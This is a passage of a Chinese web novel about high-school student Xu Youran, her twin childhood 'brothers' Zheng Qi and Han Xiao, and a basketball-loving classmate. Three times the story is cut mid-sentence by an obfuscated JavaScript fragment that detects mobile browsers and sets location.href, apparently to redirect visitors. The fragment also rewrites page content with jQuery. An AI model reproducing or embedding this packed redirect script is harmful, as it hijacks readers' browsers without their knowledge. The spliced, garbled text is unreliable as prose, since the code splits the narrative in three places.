许悠然切着西瓜后悔不迭。许悠然啊许悠然,你真是百密一疏,早知道就把毯子塞到茶几下面,这样他就看不见了。 “郑骐,这个西瓜好甜……” 许悠然端着西瓜出来,正想说西瓜选得好,只见郑骐已经打开了电视,屏幕上赫然是她刚才正在看的《珍珠港》…… 18. 017 许悠然端着西瓜像抱着一个炸弹。进也不是,退也不是。 幸好屏幕上已经不是她刚才看的情节。她深吸一口气,若无其事地走过去放下果盘。心里却忍不住胡思乱想,郑骐看到那些画面了吗? “这个西瓜好甜,谁选的,眼光真好!” 她拿起一片西瓜,眼睛一点也不敢往屏幕上瞅。 “哦,韩骁买的。” “咳咳咳……”许悠然被西瓜汁水呛到。 “没事吧?慢点吃,又没人跟你抢。”郑骐递过一张纸巾,看她的眼神中夹杂着宠溺和无奈。 电视上开始播放日军飞机轰炸珍珠港的惨烈画面。横飞的血肉,四溅的钢铁碎片和泥土,不绝于耳的惨叫声…… 许悠然这才敢大方地看电视,她放下西瓜,坐在郑骐身边,被电影逼真的画面和写实的剧情吸引了。 看到男主和男二历经磨难终于坐上战斗机,开始和日军激烈空战,许悠然忍不住攥紧了拳头。客厅里除了电影里的轰炸喊叫,一片宁静,甚至能感受到身边人的呼吸声。 她扭头看一眼郑骐,他的手也在身侧紧紧握成拳,全神贯注地看着屏幕,表情却十分平静。 一个小时后,电影终于放完了。许悠然长吁一口气,终于敢放肆呼吸了。她生怕后面还有少儿不宜的画面,幸好没了。 见郑骐沉默不说话,她只得讪讪的没话找话。“挺好看的电影,是吧?” 郑骐点点头,“是挺不错的电影,幸好咱们国家现在有比这更好的飞机了。” 许悠然见他表情自然,不像看到了那些画面的样子,心情放松下来,开始和他聊自己的观后感。 “我就是觉得可惜,本来女主和男主可以是完美的一对,要是女主当时多等一段时间就好了,后面三个人的关系就不会那么尴尬了……” 许悠然喜欢简单的关系,所有复杂的事情她都觉得麻烦,也不懂得处理。既然不懂得处理,索性就远离。 郑骐轻笑:“多久算久?一年?十年?” 见他语气里明显不赞同,许悠然有些意外,郑骐很少会这样语带嘲讽,他就算不赞同通常也只是笑笑,不置可否,或者索性不说话,用沉默表达反对。 “起码等半年吧,那样男主角就回来了啊!”许悠然不甘心,还想说服他。 “那是你有上帝视角,你知道男主角没死,可电影里的人不知道,对于当时的他们来说,男主角就是真的死了,悲伤过后,活着的人总要开始新生活。” “照你这么说,再深的感情也不值得坚守和等待?爱人死了就马上找下一个?而且女主角找谁不好,还找男主角的好兄弟,我要是男主角我都气死了!” “没有值不值得,只有愿不愿意。如果女主角愿意等待,她哪怕一辈子不结婚都没问题,可是她愿意开始新生活,任何人都没有权力指责她。” 许悠然听了更生气了,声音都高了几度:“那如果你是男主角,你能接受这样的发展?” 郑骐沉默了一会儿,缓缓开口:“战争不是电影,艺术不是现实,如果现实中遇到这种情况,男主角大概真的喂鲨鱼了。如果我是男主角,我希望她能走出过去的阴霾,勇敢地开始新生活,健康快乐一辈子。如果非要有那么一个人陪在她身边,我希望是我的兄弟。起码我的兄弟是个好人,肯定会对她好。换了别人,我不放心。” “那如果你像男主角那样又被救起来了呢?”许悠然对这个答案不满意。 “那还能怎么样,祝福他们呗!”郑骐无所谓地耸耸肩。 他顿了顿,看着许悠然反问:“如果你是女主角呢?” 许悠然不假思索:“当然是永远等着他,不管他能不能回来。虽然男二也很好,但是我更喜欢男主。他太勇敢了,美国还没参战他就愿意主动去欧洲战场,这才是真英雄。爱过这样的人,怎么还可能爱上别的人嘛……” 战争年代的爱情,总有那么多身不由己。明天和死亡,永远不知道哪个会先来。在家国天下的宏大叙事下,个人的情爱显得那样渺小。但是许悠然坚信她可以做的是坚守自己的本心,她不喜欢复杂的故事,哪怕简单到不值一提,她也不愿意置身伟大的狗血爱情。 郑骐没再接话,主动结束了这个话题。许悠然却还想问,你有没有看到什么不该看的画面?但她还没这么大的胆子,只能遮遮掩掩,不时偷看郑骐几眼,想从他脸上找出一点点蛛丝马迹。 可直到郑骐准备离开,她都没看出任何端倪。 “然然,别老看电影,有空出去走走对眼睛好。真对战争片感兴趣也注意挑选一下适合你看的电影,要不我给你找几部二战电影?” 郑骐停下脚步,转身认真看着许悠然。 许悠然的脸刷地一下红透了,只得假装听不懂,“嗯嗯啊啊”了几句,把他赶下楼。 郑骐的身影在视线中渐渐变小,他站在楼前的一株大松树下。傍晚的阳光从翠绿的缝隙中穿过,在他身上洒下一层好看的金色光影。 许悠然忍不住了,她趴在阳台上,大声喊:“郑骐,你是不是看过这个电影?” 郑骐果然回身仰起头,脸上带着些许促狭的笑意。 “早就看过了。” 许悠然猛地缩回身子,又羞又恼。 该死的!该死的!他果然看到那些画面了…… 暑气渐消,开学的日子不期而至。许悠然和袁文君、李薇薇幸运地考上一中,又成了同班同学。 三个女孩兴奋地在学校里转悠,这可是这个城市最好的高中,考上这个学校意味着一只脚已经踏进了重点大学的门。 袁文君甚至觉得这里的一草一木看起来都比别处要可爱,教学楼也看起来更加宏伟,连走在学校里的男生,都看起来更顺眼。 “你这个花痴,明明书呆子更多!” 许悠然戳了袁文君一下,对她的花痴感到好笑。 她话音刚落,擦身而过一个戴眼镜的瘦高个男生,他转身看了她们几个一眼,眼神中闪过一丝愤怒。 李薇薇和袁文君捧腹大笑:“让你乱说吧!哈哈哈……” 许悠然有点不好意思,她也没指名道姓啊,怎么那个男生就自己对号入座呢,不过总归是自己口无遮拦,她悻悻闭上嘴,继续跟着她们转悠。 一中比她们原先的初中大很多,听说许多知名校友不吝捐赠,一中的篮球场和图书馆都是全市数一数二的。 三个女孩站在篮球场边看人打篮球。正是午休时间,篮球场上热闹非凡,年轻男孩矫健灵活的身影飞来闪去,犹如那部知名的《灌篮高手》一样。 “咦,那是不是李昊?” 袁文君眼尖,看到球场上一个熟悉的身影。 “不可能吧,他成绩那么差,也能上一中?”李薇薇顺着袁文君指的方向看去。 几个人正仔细辨认着,那个男生把球丢给同伴,朝她们走过来。 “许悠然、袁文君、李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107789|163966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 薇薇,你们好!”李昊抹了一把头上的汗,大方地跟她们打招呼。 虽然是学校的捣蛋分子,李昊人缘却不错。 袁文君笑着开他玩笑:“李昊你怎么也在一中,真是太阳打西边出来了啊!” 李昊听出她的言外之意,并没生气,坦然露出一个实诚的微笑:“有钱能使鬼推磨。” 这下连许悠然和李薇薇都忍不住笑了。 “你们来看打篮球?”李昊下意识多看了许悠然一眼。 “没,闲逛逛,你接着打。”袁文君挥挥手,示意他可以回去了。 李昊犹豫了一会儿,有些不好意思地说:“下个月学校要举办篮球赛,你们要是没事可以来看看,我在高一(3)班,你们呢?” 袁文君爽朗地点点头:“好呀,我们在(5)班,有时间一定来看你打篮球。” 见许悠然没有拒绝,李昊的心情突然变得特别好,几乎是蹦跳着跑回了篮球场。 “你真要来看啊?”许悠然拧了一下袁文君,“你可别忽悠人家,说来又不来。” “你不懂,篮球赛……会有很多帅哥。”说完,袁文君自己先忍不住笑了。 “花痴!”许悠然和李薇薇异口同声。 “是是是,你们不花痴,到时候你们可别来,我自己看,哼!” 夜色深沉,教学楼早已人去楼空,只有住读的同学三三两两夹着课本往宿舍走。操场上更是一片沉寂,微弱的路灯闪着幽暗的光芒,小飞虫努力扑闪着翅膀汲取这微弱的光芒,以为找到了生的方向。 “砰砰砰”的撞击声在这暗夜里显得尤为突出。是篮球拍打塑胶地面的声音。 李昊三步并作两步,轻松一个上篮,篮球擦着篮筐进了,然后落到了地上。 他捡回球,准备再练习一下过人技巧,可惜没人和他一起练,他只能自己闪身、躲避,来回反复。 突然,一只手横插进来,断掉了他的球,那人动作迅捷,抢到球之后马上运球到后场,李昊还没反应过来,就见那人跃起,一个远射,球进了,三分球。 李昊这人虽然有点横,但是从不死要面子活受罪,他一眼判断出,眼前的人,是高手。 “哥们儿,打得不错啊!”李昊冲那人的背影喊道。 “客气了,强行加入,不好意思。”那人回过身,似乎是对他笑了笑,光影中看不太清他的模样。 “没关系,好不容易遇到高手,要不咱俩玩玩?”李昊摩拳擦掌,想和他多较量一下。 “行,不过我玩不了太久,十分钟吧。” 男生之间从来不需要那么多客套,比赛甚至不需要一个指令就开始了。 李昊向来以动作灵敏迅速自豪,可是这人似乎比他更敏捷更迅速,不管他想往哪个方向突破,这人似乎都能猜到,虽然只有一个人,却好像布下了天罗地网,他怎么也突破不了。 就在他一个分心的时候,这人迅速抢断,旋身后退,不等李昊追上他,又是一个远射,球进了,还是三分球。 李昊自愧不如,心悦诚服。 两人走到球场边,灯光渐亮,终于能看清对方了。 李昊扔过去一瓶水,语气中满是钦佩:“哥们儿,你球打得太好了,我甘拜下风,有空再一起……” 他话还没说完,对方“咕噜噜”灌下半瓶水后垂下手臂看着他,被水瓶遮挡的脸终于在路灯下暴露无遗。 “哥……你是许悠然的干哥哥?” 19. 018 韩骁习惯在下晚自习后到篮球场打一会儿球再回家。有时候一个人打,有时候遇到球友就一起打,但他其实更喜欢一个人打。他喜欢在打篮球的时候想点儿自己的心事,如果和人一起打就没办法了,他会不由自主地全身心投入,直至把对方打得毫无还手之力。最后只能在睡觉的时候想一些烦心事,然后翻来覆去睡不着,他讨厌这种感觉。 遇到李昊纯属意外。当他看清李昊的脸时,一眼就认出这是去年圣诞节那天在家门口撞见的傻小子。 “哥,你不记得我了?当时在许悠然家院门口,我还和你打了招呼呢。我是许悠然的同学李昊呀!”李昊兴奋地自报家门。 韩骁点点头,既没承认也没否认。他本来也是许悠然的干哥哥,不算骗人。 李昊显然很兴奋:“哥,我没想到你篮球竟然打得这么好,说老实话,我还以为你是书呆子呢,哈哈……你一看就是那种学习很好的人。” 韩骁挑眉看他:“我看起来很呆吗?” 李昊顿时有点怂,不知道为什么,他觉得今天看到的干哥哥和上次在院门口见到的有点不一样,但是他又说不出来哪里不一样。 “不……不,我开玩笑的。你是怎么练的啊,改天教我几招呗!” 原本李昊心里对那个干哥哥还有点吃味,觉得他就是个手无缚鸡之力的书呆子,凭什么竹马就能打败天降,他李昊也不差呀!但在见识了他高超的篮球技术之后,他彻底臣服了。一表人才、文武双全,李昊想想自己那三瓜俩枣的分数,他要是女孩,也会选干哥哥。 连他自己都没发现,他好像放下了对许悠然的念想,相较而言,他对这个干哥哥更感兴趣,甚至有点儿崇拜和敬仰的意味。毕竟能在现实中转身跳射命中三分球的人不多。 男人之间决定地位的方式很简单粗暴,那就是实力。干哥哥的实力让李昊心甘情愿退居身后。 “行,你现在还和许悠然一个班?”韩骁蹲在球场边,又喝了几口水。 “没,我在(3)班,她在(5)班,不过就在隔壁的隔壁,也挺近。” “嗯,以后没事多关照她一下,那丫头傻头傻脑的。有空一起打球,我传你几招。”韩骁一个抛射,塑料水瓶精准地投进了远处的垃圾桶。 李昊拍着胸脯答应了,心里却不由得有些纳闷。干哥哥咋这么放心他,难道他就这么没有威胁性?不带这么看不起人的。还是,他压根不知道许悠然喜欢他? 一起打了三四次球之后,李昊俨然已经成了韩骁的小跟班。只要韩骁出现在球场上,五米之内必有李昊的身影。一会儿殷勤地端茶送水,一会儿屁颠屁颠地问他饿不饿,要不要放学了一起去吃烧烤…… 韩骁觉得他果然没看走眼,这小子的确很傻。但他却看他还挺顺眼,可能是傻人有傻福? 许悠然觉得李昊不止是傻,简直是有病!她以为她已经跟李昊说得很清楚了,可是他却接连做一些奇奇怪怪的事情,搞得现在整个高一的同学看她的眼神都怪怪的。 昨天她和李薇薇一起去洗手间,结果出来就被隔壁班一个男生堵在门口,硬是要给她一封信,吓得她连连后退,差点就要躲进厕所。正手足无措,李昊突然冒了出来,不仅把那封信抢走了,还勒着那个男生的脖子进了男厕所,跟着就传来那个男生的惨叫。 她和李薇薇正想趁乱跑回教室,谁知李昊走出来大声嚷嚷,就差没让老师听见。 “以后许悠然是我罩的,谁要是敢打她的主意小心我弄他,好了,该干嘛干嘛去吧!你是不是要上厕所,去吧……”他呼喝完,还礼貌地给一个憋得面红耳赤的男生让路。 许悠然不得不在厕所门口接受所有人的注目礼。 “快走快走!丢死人了!”李薇薇拉着她,逃也似的离开了案发现场。 李昊横惯了,家里又有钱,大家平时都对他退避三舍,见他这么说不由得用奇怪然后恍然大悟的眼神看着许悠然。 “李昊干嘛呀?是不是疯了?”许悠然气得跺脚。 “他是不是还喜欢你呀?哈哈,他刚才的样子好傻。”李薇薇想起李昊模仿古惑仔的模样觉得好笑。 男生真幼稚! “别乱说,被老师听见了以为我早恋,我跟他话都没说过几句,谁知道他发什么疯啊!不行,我得找他说清楚,不能这样不明不白地背这个黑锅。”许悠然简直快哭出来了,万一传到郑骐耳朵里可怎么办啊! 中午的篮球场照例属于男生们。韩骁正在和李昊练习一对一盯人。 韩骁游刃有余,一边运球一边准备伺机过人。 “哥,许悠然昨天被隔壁(4)班一个男生堵在厕所门口送情书,正好被我撞见了,马上给那小子揍了一顿。悠然妹子岂是他能肖想的!自不量力的家伙!” 李昊心思没在打篮球上面,他急着向大哥汇报他的丰功伟绩。 韩骁见他心思不在打篮球上面索性后退一步,投了一个三分球,篮球稳稳进了篮筐,他抹了把汗走到场边喝水。 李昊蹲在韩骁身边,像只忠诚的牧羊犬。见韩骁没说话,他心里有点没底。 “揍一顿?太夸张了吧,那么多男的你揍得过来吗?”韩骁懒懒坐在地上,双手撑在身后,微眯着眼,任脸上的汗自然晒干。 李昊有点弄不明白了。正常男人不该吃醋吗,然后夸他干得好干得漂亮,这干哥哥怎么好像并不在意似的? “哥,你……你不会不知道吧?”李昊小心翼翼地问。 “知道什么?”韩骁扭头看着李昊,兴致缺缺。 “得,看来你是真不知道。”李昊决定好人做到底,不然许悠然这暗恋不知道要搞到什么时候。 “许悠然,她喜欢你。”李昊凑到韩骁耳边,语气十分神秘。 “哦。”韩骁低声回应,或者说他只是发出了个声音,这回应好像并没有任何意义。 半晌,韩骁终于又说话了。 “你怎么知道?” 李昊得意地笑笑:“她亲口告诉我的。”他摸摸头有点不好意思,“其实去年圣诞节在她家院门口碰到你的那天,我是去向她表白的,谁知她直接就拒绝了我,也没收我的礼物,我就不服气嘛,问她是不是有喜欢的人了,她告诉我她喜欢的人就是你,还说你们青梅竹马从小一起长大,我就只好知难而退了,我有自知之明,没法跟你比,哈哈哈……” 韩骁一愣。 原来那天,李昊是去向她表白的,难怪失魂落魄地撞到自己身上。 难怪……难怪那天他们连他跟在身后都没察觉。他突然感觉那天他扔的雪球一直没化,不过是凝固到他心里了。他和李昊一样,但是他却没有李昊那么幸运。 他站起身,朝球场外走去。 他冷淡的反应让李昊震惊又不解。这和他想象的差别太大了。许悠然是个很可爱的女孩子,被这样的女孩子喜欢就算不欢呼雀跃,起码也会沾沾自喜一下吧。 “你……不喜欢她?”李昊心痒痒的,大步跟上韩骁,很想八卦一下大哥的感情生活,毕竟他看起来太酷了。 “关你屁事。”韩骁白了他一眼,两手插兜径直往前走。 “别这样嘛,如果你不喜欢她我就让她早点死心,毕竟还有我这样的大好青年,我不介意当备胎,真的,毕竟对手是你,我与有荣焉。” “滚!”韩骁啐了一口,抬脚在李昊屁股上踢了一脚。 “骁哥,你不会是害羞了吧?”李昊一扭身子,敏捷地躲开了。 韩骁不再理他,自顾自往教学楼去了。高二的教学楼和高一是分开的,他们不同路。 不怪李昊笨,不熟悉他和郑骐的人,很少能分出他俩。小时候他就经常在干了坏事之后假装自己是郑骐,这么多年他已经经验丰富了。可这次他不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107790|163966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想背这个“黑锅”,被许悠然那个傻妞喜欢肯定会倒霉。韩骁想了想,拐了个弯往高三的教学楼走去。 高三学业紧张,一进教学楼韩骁就感受到了沉闷压抑的气氛。走廊上几乎没有人,尽管是午休时间,教室里却黑压压全是奋笔疾书的人,没有人休息。 韩骁径直走到郑骐的班级门口,倚在门框上,轻轻“咳”了一声。 虽然他声音很小,但是在这安静得只能听见笔尖在纸张上摩擦的教室,无异于惊雷。 郑骐抬起头,见是韩骁马上走了出来。其余人都见怪不怪,他们和郑骐同学三年了,早就知道他有一个双胞胎弟弟。 “找我有事?你很少来我教室的。”郑骐双手撑在阳台栏杆上,有点意外也有点惊喜。他正好趁这个时间呼吸一下新鲜空气。 “晚上打篮球吗?”韩骁依然双手插兜酷酷地站着。偶尔有同学走过,都忍不住回头看他们几眼。 同样的玉树临风,高大挺拔。明明是一模一样的脸,却有着极其迥异的气质。 “想和我单挑啊?我好久没打了,手生。” “怎么,你怕输?”韩骁瞥了他一眼。 “是啊,怕你输太狠又要给我刷鞋子。”郑骐笑着在韩骁肩上捣了一拳。 “骄兵必败,晚上见。”韩骁揉了揉肩膀,转身离开。 “许悠然,晚上下晚自习之后到篮球场来,我有事情跟你说。”李昊堵住高一(5)班的门,大喇喇地说。 这下不止许悠然听见了,教室里的人全听见了。 许悠然“腾”地站起来,走到门口,气势汹汹地说:“你跟我来!” 李昊嘻嘻一笑,大摇大摆地跟上她。 袁文君和李薇薇对视一眼,不约而同跟了出去。 走廊的角落是个死角,许悠然竭力平复呼吸,不断提醒自己要有淑女风范。 “李昊,你是不是有病啊?你前几天说那些莫名其妙的话就算了,现在跑我们教室找我干嘛?你有什么事情现在说,我晚上是绝对不会去篮球场的!” “别生气别生气,我这不是想帮你吗?自从上次你跟我说你喜欢你干哥之后,我就没存那个心思了,真的只是把你当朋友。忘了告诉你,我现在和你哥玩得可好了,老在一起打篮球,下个月不是有篮球赛吗,我今晚约了他一起练球,你记得来看啊!” 李昊说完转身就走,生怕待久了会被许悠然当场拒绝。 “没事吧?”袁文君见许悠然呆呆站着,担心地晃了晃她的胳膊。 “没事,想为上次的事情跟我道歉,我说用不着。”许悠然胡乱编了个谎话。 郑骐会和李昊做朋友?许悠然怎么也不信。 下午下了一阵雨,所幸不大,天黑的时候地面已经干得差不多了,只有零星低洼的地方有些积水。 韩骁和李昊已经打开了。水花四溅,分不清是汗水还是积水。 李昊累得不行,韩骁体力太好了,完全不带喘的,他有点跟不上了。 “不行了不行了,哥,我要休息!”李昊一屁股坐在地上,大口喘气,像一只热得不停哈气的大狗。 韩骁也不勉强,自顾自运球、上篮。 李昊面对着场外,见许悠然的身影从模糊到清晰,越来越近,他清了清嗓子,心里对自己天衣无缝的计划感到十分满意。 “哥,你到底喜不喜欢许悠然嘛?人小姑娘可是喜欢你喜欢得不得了。” 韩骁把球揽在腰间,灯光昏暗,他眼神幽深,看不出情绪。 “不喜欢。” 三个字在朦胧的夜里无比清晰。 “你撒谎呢吧!”李昊指着韩骁哈哈大笑。 “切,爱信不信,那丫头傻里傻气的,又笨,谁喜欢她谁倒霉,你看我像那个倒霉的人吗?” “韩骁!你个王八蛋!你才笨!你……你全家都笨!” 20. 偶遇 许悠然跳着躲开地上的积水,恰好听到韩骁在说她笨。 看到韩骁的时候她就明白了。李昊这个笨蛋果然认错了人,她就说郑骐怎么可能和李昊玩到一起,如果是韩骁那就能说得通了。紧接着,她想起自己拒绝李昊的时候找的理由,天啊!李昊这个傻瓜不会把这个也跟韩骁说了吧!难怪他奇奇怪怪的,还说什么要帮自己…… 许悠然不敢再想下去。 如果韩骁知道,他肯定会大嘴巴告诉所有人,然后郑骐也会知道…… “韩骁,你算什么男人,在背后说我坏话,要不要脸!” 许悠然气呼呼指着韩骁的鼻子。 韩骁伸出一根手指把她的手挡开,表情很是嫌弃。 “你不笨,不过就是初三的时候数学考90分而已。” “你!你!不就那一次吗?你至于老拿出来说吗?”许悠然被他当众揭短,脸上有点挂不住。可她不知道,当的众是李昊,这根本就不算短。毕竟李昊是数学只考60分的人。 “你敢考还怕人说?我可从来没考过100分以下,更别提……”韩骁阴阳怪气,好像专挑许悠然不爱听的话说。 “你!你!你干嘛冒充郑骐,你变态啊!”许悠然集中生智,说成绩她说不过韩骁,那就也挑他的痛处戳一戳。 “我怎么冒充了?我妈不是你干妈?我不是你哥?”韩骁把篮球一拨,篮球快速转动,他像个纨绔一样,痞痞笑着看许悠然气急败坏。 冒充?李昊被他俩搞得云里雾里,一脸茫然地看着两个人唇枪舌剑,你来我往,头摇得像拨浪鼓。 “你还好意思说,有你这样的哥吗?欺负人你最在行,我回家就告诉干妈你欺负我,让她揍你!” 许悠然气得转身就要走,不留神一脚踩进了水坑里,脚下打滑就要摔倒。 韩骁把球一扔,抢步上前接住了她。 许悠然猛地被他搂住,心里突然“扑通扑通”狂跳了几下,又看他满脸嘲笑,好像又在说“你真笨”,她又气又急,用力把韩骁推开,“不用你假好心!” 韩骁猝不及防,没想到她会有那么大的力气,手上来不及用力就被推开了,许悠然骤然失去依托,结实地摔倒在地。 “然然!” “许悠然!” 韩骁还没反应过来,郑骐已经快步跑到了许悠然身边。 许悠然看着眼前熟悉的身影,又低头看看自己狼狈的模样,鼻子一酸,差点哭出来。 “郑骐,韩骁……欺负我……” “没事了,没事了,你摔得痛不痛,能不能站起来?”郑骐揽住她的肩膀,想扶她起来。 “啊!痛……痛……”屁股和脚踝传来钻心的疼,许悠然痛得眉头拧成一团,还不忘狠狠白了韩骁一眼。 “应该是扭到了,别怕,回去敷一下再喷点云南白药很快就好了。” 郑骐二话不说,背过身把许悠然的胳膊往前一拉,许悠然就趴到了他背上。 “我背你回去,就当做替韩骁赔罪了。你们俩什么时候能长大啊!每次见面不是吵就是闹。”郑骐扭头无奈看了许悠然一眼,又转身看着韩骁,“闹够了啊,小心过头了没法跟许叔交代。” 直到他们的身影消失在夜色里,韩骁都没再说话。 李昊蹑手蹑脚凑近他,声如蚊讷,“骁哥,你……没事吧?” 韩骁不回答,捡起脚下的篮球,随意拍了起来。 令人窒息的空气终于被划破了。李昊长吁一口气,今天是他自作聪明,弄巧成拙。 “骁哥,对不起,许悠然是我叫来的,我以为她喜欢你,你也喜欢她,就想撮合你们。” 韩骁还是不语,只是拍球的力气更大了,“砰砰砰”的声音把李昊的心脏震得快跳出来。 他吞了吞口水,硬着头皮接着说:“我就说嘛,许悠然那傻乎乎的样子肯定不懂得欣赏你这样的真爷们儿……” 韩骁扭头沉着脸看他:“哦,你的意思是我哥不是真爷们儿?” …… 李昊简直想咬掉自己的舌头。 他恨不得仰天大喊,你们哥俩都是真爷们儿,就我不是,行了吧! 不过他总算弄明白了,许悠然喜欢的是哥哥,不对付的是弟弟,而他去年圣诞节那天撞到的那个凶神恶煞的就是这个倒霉弟弟,他眼前的韩骁。 如果韩骁和郑骐单独出现,李昊可能还是会认错,他们长得实在太像了,连身材都几乎一模一样。可一旦他俩同时出现,李昊几乎马上就能分辨出来谁是韩骁,比如刚才。他们的气质区别太大了,如果说韩骁像狂风骤雨,让人防无可防,躲不可躲,那么郑骐就像春风细雨,润物无声,让出现在他身边的人都似乎多了几分粗陋和愚蠢。 李昊讪讪笑着,讨好地问:“骁哥,你是不是怕你哥啊?”话一出口,李昊恨不得扇自己一个嘴巴。 他明明想说的是“哥,没想到咱俩是一样的人”,怎么舌头打结不听使唤,说出口的是这句不怕死的? 果然不出他所料,话音刚落,“砰——”篮球迎面飞来,要不是李昊常打篮球,差点就要重现樱木花道的“颜面接球”。 许悠然趴在郑骐背上,心如小鹿乱撞,手也不知道放在哪里更合适。 升入高三以后,郑骐学业压力重了很多,她不敢再像以前那样老粘着他,每天围着他转。她已经有三天没见到他了。此时和他这样亲密地接触着,竟然有点百感交集,好像已经很久很久没看到他了,可是明明才三天而已。 “怎么了?背着你还不老实?小心我把你扔下来。”察觉到她的紧张,郑骐轻声笑了。 “你才不会呢!你又不是韩骁。”嘴上这么说,许悠然还是情不自禁抱紧了他的脖子。 “来,说说,你们怎么又吵起来了?” 郑骐脚步轻快,完全不觉得累。许悠然骨架小,看着瘦却瘦而不柴。他感觉到背上某处的柔软,心里不禁有点乱,那个傻乎乎的小女孩真的长大了。可又像还没长大,环着他的胳膊紧紧贴着他的喉结,赤裸光滑的皮肤,带着微微的潮热,让他的呼吸渐渐变得急促起来。他只得说点别的,来找回自己转移到别处的注意力。 “还不是韩骁又说我笨,还当着我同学的面说,我的面子往哪搁?” “你们在篮球场干嘛?放学了不早点回家还到处乱晃。” 许悠然没想到郑骐会问到这个,一时间想不到什么好的借口,结结巴巴地说:“我……偶遇!偶遇!” 她的演技很拙劣,当然瞒不了郑骐。郑骐也不拆穿她,只是轻笑一声:“那看来我们都很有缘,在今晚集体偶遇了。” 许悠然脸上一红,索性把头埋下,不敢再说话。 不知道该死的李昊跟韩骁说了多少,韩骁又知道了多少。明天得找李昊问一问,这个笨蛋! 许悠然又想到明年这个时候郑骐就离开了,郑骐的成绩,她根本望尘莫及,到了大学,他会认识很多优秀的女孩,会不会很快就把她忘了? 心里这么想着就不自觉地把胳膊紧了紧,她一定要在郑骐上大学前告诉他。不是为了留住他,只是想让他等一等她,等她长大。 许悠然的脚果然没大碍,第二天就能走路了。她感到很失望,要是能让郑骐多背她几天就好了。可转念一想,郑骐背她会很累,她又舍不得了。 趁着课间,许悠然偷偷摸摸跑到(3)班教室外面蹲点,见李昊趴在课桌上睡觉,又不好意思大声叫他,正心急如焚,碰到以前的初中同学,好不容易托同学把李昊叫出来,课间休息时间已经过了大半。 “找我有事?”李昊揉着眼睛,显然睡了不止十分钟。 “李昊,你有没有跟韩骁说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15115198|163966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不该说的?” 许悠然压低声音不忘看看周围,生怕被人看到。 “不该说的?大小姐,你得告诉我什么是不该说的啊,毕竟我跟骁哥认识不是一天两天了,说的话没有一车也有一箩筐,我怎么知道哪句话该说哪句话不该说啊?” 李昊不傻,看到许悠然来找他,就知道她是为了什么。 他要是许悠然也会犯难,两张一样好看的脸,一个谦谦君子,一个桀骜不驯,这无异于问他中午是吃龙虾还是鲍鱼。 许悠然果然急了,吞吞吐吐地小声说:“就是,就是我跟你说我喜欢我哥的事儿……” 李昊哈哈一笑,“没说没说!放心吧,我哪能那么大嘴巴……” 许悠然松了一口气,李昊看起来不像撒谎,就勉强信他一回吧。 秋天是本地最好的季节,风干不燥,晴空万里。一中每年都在这个时候举办篮球赛。 篮球是一中的特色学科,每年都有不少学生以篮球特长考上大学,因此篮球赛渐渐成了一中的一大盛事。看着青春少年在篮球场上挥洒汗水,顽强拼搏,还有什么事比这个更激动人心呢? 经过一个星期的预赛和半决赛,进入决赛的两个班级已经确定了,正是韩骁所在的高二(1)班和郑骐所在的高三(1)班。 郑骐班上有几个篮球特长生,带领班级一路冲杀,居然进了决赛。在一众专注于文化课直接在预赛就被淘汰的毕业班里,显得鹤立鸡群。 “郑骐,等会儿你可别放水啊!”更衣室里,同学半真半假地笑。 “韩骁不需要我放水。”郑骐活动着筋骨,表情看不出异样。 活动完,他开始热身。他打得没韩骁那么频繁,但是胜在球感好,几场预赛、半决赛打下来,已经找回了不少感觉。 他在班上的篮球队里不算很高,但是动作敏捷,判断准确,是控卫的不二人选。 韩骁也是控卫。这场球赛,间接等于他和韩骁的对决。 许悠然站在场边异常紧张。袁文君捏捏她的手心,发现都是冷汗。 “你手怎么这么凉,不至于吧,不就是一场篮球赛吗?” 李薇薇抿嘴一笑,“你不懂,她为情哥哥担心呢?” 许悠然嗔了她一眼,没有否认。 袁文君早已看到场上两个长得一模一样的帅哥,周围议论纷纷、窃窃私语,不时有女生的低语窃笑传进她们的耳朵。 “韩骁好帅呀,另一个是他哥吗?虽然长得一样,但我还是觉得韩骁更帅,他好酷喔……” “你少花痴了,他对女生那么冷淡,你没机会的,清醒点吧!” “你不懂,这种表面上酷酷拽拽的男生都是外冷内热啦……” 女孩大胆的发言惹来同伴的嗤笑,许悠然不以为然地撇撇嘴,心里忍不住冷笑,哼,等你们被他的毒舌蛰几次就知道厉害了。 袁文君却听得津津有味。她早就知道许悠然有两个从小一起长大的干哥哥,但同时见到两个人还是第一次。一个温润内敛笑容和煦,一个冷峻严肃眼神犀利,只感觉眼睛不够用,不知道看哪个好。 “诶诶,哪个是郑骐,哪个是韩骁啊?”袁文君兴奋地扯扯许悠然的袖子。 许悠然无语,从来到球场到现在,她起码已经说过三次了。 